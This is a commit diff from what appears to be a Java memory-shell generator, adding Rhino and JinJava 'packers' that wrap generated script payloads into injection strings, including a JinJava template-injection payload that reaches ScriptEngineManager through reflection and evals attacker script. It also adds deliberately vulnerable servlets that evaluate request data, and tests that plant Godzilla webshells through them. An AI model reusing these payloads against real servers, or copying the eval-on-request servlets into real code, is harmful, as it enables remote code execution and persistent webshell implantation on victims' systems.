feat: support rhino and jinjava packer

2026-09-22 07:00:43 +08:00 · 2025-01-30 17:24:14 +08:00
parent dad1f83365
commit 1f94ca41f6
17 changed files with 164 additions and 18 deletions
@@ -11,12 +11,14 @@ import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
 import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
 import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
 import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
+import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
 import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
 import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
 import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
 import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
 import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
 import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
+import com.reajason.javaweb.memshell.packer.rhino.RhinoPacker;
 import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
 import com.reajason.javaweb.memshell.packer.spel.SpELPacker;
 import com.reajason.javaweb.memshell.packer.spel.SpELScriptEnginePacker;
@@ -77,6 +79,8 @@ public enum Packers {
    JEXL(new JEXLPacker()),
    Groovy(new GroovyPacker()),
    Aviator(new AviatorPacker()),
+    Rhino(new RhinoPacker()),
+    JinJava(new JinJavaPacker()),

    SpEL(new SpELPacker()),
    SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
@@ -3,12 +3,6 @@ package com.reajason.javaweb.memshell.packer.el;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
 import com.reajason.javaweb.memshell.packer.Packers;
-import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
-import org.apache.commons.io.IOUtils;
-
-import java.io.IOException;
-import java.nio.charset.Charset;
-import java.util.Objects;

 /**
 * @author ReaJason
@@ -0,0 +1,19 @@
+package com.reajason.javaweb.memshell.packer.jinjava;
+
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/30
+ */
+public class JinJavaPacker implements Packer {
+    String template = "{{ ''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(''.getClass().forName('java.io.StringReader').getConstructors()[0].newInstance('{{script}}')) }}";
+
+    @Override
+    public String pack(GenerateResult generateResult) {
+        String script = Packers.ScriptEngine.getInstance().pack(generateResult);
+        return template.replace("{{script}}", script);
+    }
+}
@@ -3,12 +3,6 @@ package com.reajason.javaweb.memshell.packer.mvel;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
 import com.reajason.javaweb.memshell.packer.Packers;
-import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
-import org.apache.commons.io.IOUtils;
-
-import java.io.IOException;
-import java.nio.charset.Charset;
-import java.util.Objects;

 /**
 * @author ReaJason
@@ -0,0 +1,19 @@
+package com.reajason.javaweb.memshell.packer.rhino;
+
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/30
+ */
+public class RhinoPacker implements Packer {
+    String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
+
+    @Override
+    public String pack(GenerateResult generateResult) {
+        String script = Packers.ScriptEngine.getInstance().pack(generateResult);
+        return template.replace("{{script}}", script);
+    }
+}
@@ -4,8 +4,8 @@ import com.reajason.javaweb.GeneratorMain;
 import com.reajason.javaweb.memshell.SpringWebFluxShell;
 import com.reajason.javaweb.memshell.SpringWebMvcShell;
 import com.reajason.javaweb.memshell.config.*;
-import com.reajason.javaweb.memshell.packer.jar.JarPacker;
 import com.reajason.javaweb.memshell.packer.Packers;
+import com.reajason.javaweb.memshell.packer.jar.JarPacker;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
 import org.testcontainers.containers.GenericContainer;
@@ -151,6 +151,8 @@ public class ShellAssertionTool {
            case JEXL -> VulTool.postData(url + "/jexl2", content);
            case Aviator -> VulTool.postData(url + "/aviator", content);
            case Groovy -> VulTool.postData(url + "/groovy", content);
+            case Rhino -> VulTool.postData(url + "/rhino", content);
+            case JinJava -> VulTool.postData(url + "/jinjava", content);
            case Freemarker -> VulTool.postData(url + "/freemarker", content);
            case Velocity -> VulTool.postData(url + "/velocity", content);
            case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
@@ -50,6 +50,8 @@ public class Tomcat8ExpressionContainerTest {
                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JXPath),
                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Aviator),
                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Groovy),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Rhino),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JinJava),
                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Freemarker),
                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Velocity)
        );
@@ -27,6 +27,8 @@ dependencies {
    implementation 'commons-jxpath:commons-jxpath:1.3'
    implementation 'com.googlecode.aviator:aviator:5.2.7'
    implementation 'org.codehaus.groovy:groovy:3.0.6'
+    implementation 'org.mozilla:rhino:1.7.14'
+    implementation 'com.hubspot.jinjava:jinjava:2.4.5'
    implementation 'org.springframework:spring-expression:4.3.0.RELEASE'
    providedCompile 'de.odysseus.juel:juel-api:2.2.7'
    providedCompile "javax.servlet:servlet-api:2.5"
@@ -1,6 +1,5 @@
 import com.googlecode.aviator.AviatorEvaluator;
 import com.googlecode.aviator.AviatorEvaluatorInstance;
-import groovy.lang.GroovyShell;

 import javax.servlet.ServletException;
 import javax.servlet.http.HttpServlet;
@@ -1,5 +1,4 @@
 import groovy.lang.GroovyShell;
-import ognl.OgnlContext;

 import javax.servlet.ServletException;
 import javax.servlet.http.HttpServlet;
@@ -1,4 +1,3 @@
-import groovy.lang.GroovyShell;
 import org.apache.commons.jxpath.JXPathContext;

 import javax.servlet.ServletException;
@@ -16,6 +15,6 @@ public class JXPathServlet extends HttpServlet {
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String data = req.getParameter("data");
        JXPathContext context = JXPathContext.newContext(null);
-        resp.getWriter().println(context.getValue(data  ));
+        resp.getWriter().println(context.getValue(data));
    }
 }
@@ -0,0 +1,23 @@
+import com.google.common.collect.Maps;
+import com.hubspot.jinjava.Jinjava;
+
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import java.util.Map;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/30
+ */
+public class JinJavaServlet extends HttpServlet {
+    @Override
+    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        String data = req.getParameter("data");
+        Jinjava jnj = new Jinjava();
+        Map<String, Object> context = Maps.newHashMap();
+        resp.getWriter().println(jnj.render(data, context));
+    }
+}
@@ -0,0 +1,25 @@
+import org.mozilla.javascript.Context;
+import org.mozilla.javascript.Scriptable;
+
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/30
+ */
+public class RhinoServlet extends HttpServlet {
+
+    @Override
+    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        String data = req.getParameter("data");
+        try (Context cx = Context.enter()) {
+            Scriptable scope = cx.initStandardObjects();
+            Object result = cx.evaluateString(scope, data, null, 1, null);
+            resp.getWriter().print(Context.toString(result));
+        }
+    }
+}
@@ -126,6 +126,24 @@
        <url-pattern>/aviator</url-pattern>
    </servlet-mapping>

+    <servlet>
+        <servlet-name>rhino</servlet-name>
+        <servlet-class>RhinoServlet</servlet-class>
+    </servlet>
+    <servlet-mapping>
+        <servlet-name>rhino</servlet-name>
+        <url-pattern>/rhino</url-pattern>
+    </servlet-mapping>
+
+    <servlet>
+        <servlet-name>jinjava</servlet-name>
+        <servlet-class>JinJavaServlet</servlet-class>
+    </servlet>
+    <servlet-mapping>
+        <servlet-name>jinjava</servlet-name>
+        <url-pattern>/jinjava</url-pattern>
+    </servlet-mapping>
+
    <servlet>
        <servlet-name>velocity</servlet-name>
        <servlet-class>VelocityServlet</servlet-class>
@@ -1,7 +1,6 @@
 import com.googlecode.aviator.AviatorEvaluator;
 import com.googlecode.aviator.AviatorEvaluatorInstance;
 import org.junit.jupiter.api.Test;
-import org.springframework.util.ClassUtils;

 /**
 * @author ReaJason